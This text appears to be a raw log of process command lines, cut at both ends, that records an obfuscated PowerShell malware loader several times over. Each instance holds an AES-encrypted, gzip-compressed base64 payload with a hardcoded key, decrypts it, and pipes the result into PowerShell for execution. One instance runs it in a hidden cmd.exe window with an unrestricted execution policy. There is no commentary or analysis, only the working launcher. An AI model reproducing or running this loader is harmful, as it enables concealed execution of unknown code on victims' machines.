wMLOXRkzG5VJNaG1615rlFRmGSCLOAd799O6UlYrBFO0WrtIp0TLMgp1OYjXXr9GWwkW2HH92RWmrwvMrweL9T/+MTJv9NUsBh0AEvXnLq6KXhFQoRlylKbw2EIhOJE8GZ5KyYKFvq5Ow8BKvig751SMaLGqQaOGeGapfytm5N++g/YyNKH/ELIW82q4ng4/CFiJ65RClkxTayt+QpuAY+SraRwAnbLLGEOLWAcGlVycjbdgwT9HmnUiiqQryX/Z7xrizEgiVMlyYER4KQNA1v9gLzFbul8l57RyWskxGHnyHAbsCEMW0QwFwP3JjwoD3VIyVtI7sNFMtgTdz3idvkuhloFoVhQuCogOEf/59hu8F14eYAvrXGlX4E9ExsCdMmr+RqzrtoteMl3PbPSl5CbUFq1FDuIsfuaLJyndLIvRgSHiCme1f82uRiSPMttsFOXro0ODKp1a+4DqtYu6QNUhpfBSuww0rdg1vcOkynzJHF8ro60AE0gpztTYSsH6RrJGdZa7pF3y0Osyyn3jGN7WirA7jTeFptMKZa4zwgsVcUuf1//bNibnIcKlxxPhBE1RjE77xboJhUJQynz9Bb/Rrj3XUAUjtaXOG759zi2w8o5E19G4U1AM9rE7d1QjXxdlRO4XH0Z5NuOajyHLziiwnfzyLVwTa1Piclb23hHFNkyeRCp3LoDhPqAK4cnsIvo2AzMj5uKcNI9nAaUH1gCwUM7T8UBS3hAaDF6FkyMWwtJ5rYyKuE6d0SmQOWbyjqYHoucHuKsZhvsgr3DoIFn6c1CTJveWAmoqOzm+0i5J8ScC9/BkGcIpQlRfRxN09WNDoxl+wG5YyKOrcD+LJRg7vt5TjUq5UnZgv+hZAkmtqTRJo8rh5QSU57k10c3oP//BchY9PS7LFp8Wi3JS8wa7qdRcvxDvdrcOmNecMlhU6jdA8Q3ameCTxkxcOXTcmZWYBNhlgQ33d/17jXS7PTe8DZzUUtG/JWdFQezQALgdYdv/tE2wpbh+jWSKu1rmeSmJcnXGZySevfvlaxrzGBrbJ49TfSJTFZrQPziRynukxUInJlGBg==';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell -
cmdline powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp
cmdline C:\Windows\System32\cmd.exe /c powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell -
cmdline powershell -
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object 